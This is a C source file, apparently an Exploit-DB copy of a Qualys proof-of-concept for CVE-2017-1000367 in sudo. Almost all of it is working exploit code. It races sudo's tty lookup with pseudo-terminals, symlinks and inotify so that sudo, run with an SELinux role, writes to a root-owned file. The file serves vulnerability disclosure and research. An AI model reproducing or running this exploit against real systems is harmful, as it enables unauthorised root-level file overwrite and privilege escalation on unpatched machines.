|
/* * E-DB Note: http://www.openwall.com/lists/oss-security/2017/05/30/16 * E-DB Note: http://seclists.org/oss-sec/2017/q2/470 * * Linux_sudo_CVE-2017-1000367.c * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <paths.h> #include <pty.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define SUDO_BINARY "/usr/bin/sudo" #define TARGET_FILE "/etc/init.d/README" #define SELINUX_ROLE "unconfined_r" #define WORKING_DIR "/dev/shm/_tmp" #define TTY_SYMLINK WORKING_DIR "/_tty" #define TTY_SYMLINK_ TTY_SYMLINK "_" #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(const int my_argc, const char * const my_argv[]) { if (my_argc <= 1) die(); if (my_argc >= INT_MAX/2) die(); char comm[sizeof(WORKING_DIR) + 16]; char pts[PATH_MAX]; #define PTS_NUM 32 int pts_fds[2 * PTS_NUM]; unsigned int i = PTS_NUM; while (i--) { int ptm_fd; if (openpty(&ptm_fd, &pts_fds[i], pts, NULL, NULL)) die(); if (close(ptm_fd)) die(); } struct stat sbuf; if (fstat(*pts_fds, &sbuf)) die(); if (!S_ISCHR(sbuf.st_mode)) die(); if (sbuf.st_rdev <= 0) die(); if ((unsigned int)snprintf(comm, sizeof(comm), "%s/ %lu ", WORKING_DIR, (unsigned long)sbuf.st_rdev) >= sizeof(comm)) die(); for (i = 0; i < PTS_NUM; i++) { if (close(pts_fds[i])) die(); } if (mkdir(WORKING_DIR, 0700)) die(); if (symlink(pts, TTY_SYMLINK)) die(); if (symlink(TARGET_FILE, TTY_SYMLINK_)) die(); if (symlink(SUDO_BINARY, comm)) die(); const int inotify_fd = inotify_init1(IN_CLOEXEC); if (inotify_fd <= -1) die(); const int working_wd = inotify_add_watch(inotify_fd, WORKING_DIR, IN_OPEN | IN_CLOSE_NOWRITE); if (working_wd <= -1) die(); const int cpu = sched_getcpu(); if (cpu >= CPU_SETSIZE) die(); if (cpu < 0) die(); cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(cpu, &cpu_set); if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { const unsigned int argc = 3 + my_argc - 1; char ** const argv = calloc(argc + 1, sizeof(char *)); if (!argv) die(); argv[0] = comm; argv[1] = "-r"; argv[2] = SELINUX_ROLE; memcpy(&argv[3], &my_argv[1], my_argc * sizeof(char *)); if (argv[argc]) die(); if (setpriority(PRIO_PROCESS, 0, +19) != 0) die(); static const struct sched_param sched_param = { .sched_priority = 0 }; (void) sched_setscheduler(0, SCHED_IDLE, &sched_param); execve(*argv, argv, NULL); die(); } struct inotify_event event; if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die(); if (kill(pid, SIGSTOP)) die(); if (event.wd != working_wd) die(); if (event.mask != (IN_OPEN | IN_ISDIR)) die(); for (i = 0; ; i++) { if (i >= sizeof(pts_fds) / sizeof(*pts_fds)) die(); int ptm_fd; char tmp[PATH_MAX]; if (openpty(&ptm_fd, &pts_fds[i], tmp, NULL, NULL)) die(); if (!strcmp(tmp, pts)) break; if (close(ptm_fd)) die(); } while (i--) { if (close(pts_fds[i])) die(); } if (kill(pid, SIGCONT)) die(); if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die(); if (kill(pid, SIGSTOP)) die(); if (event.wd != working_wd) die(); if (event.mask != (IN_CLOSE_NOWRITE | IN_ISDIR)) die(); if (rename(TTY_SYMLINK_, TTY_SYMLINK)) die(); if (kill(pid, SIGCONT)) die(); int status = 0; if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (!WIFEXITED(status)) die(); if (unlink(comm)) die(); if (unlink(TTY_SYMLINK)) die(); if (rmdir(WORKING_DIR)) die(); exit(WEXITSTATUS(status)); }
|
|
|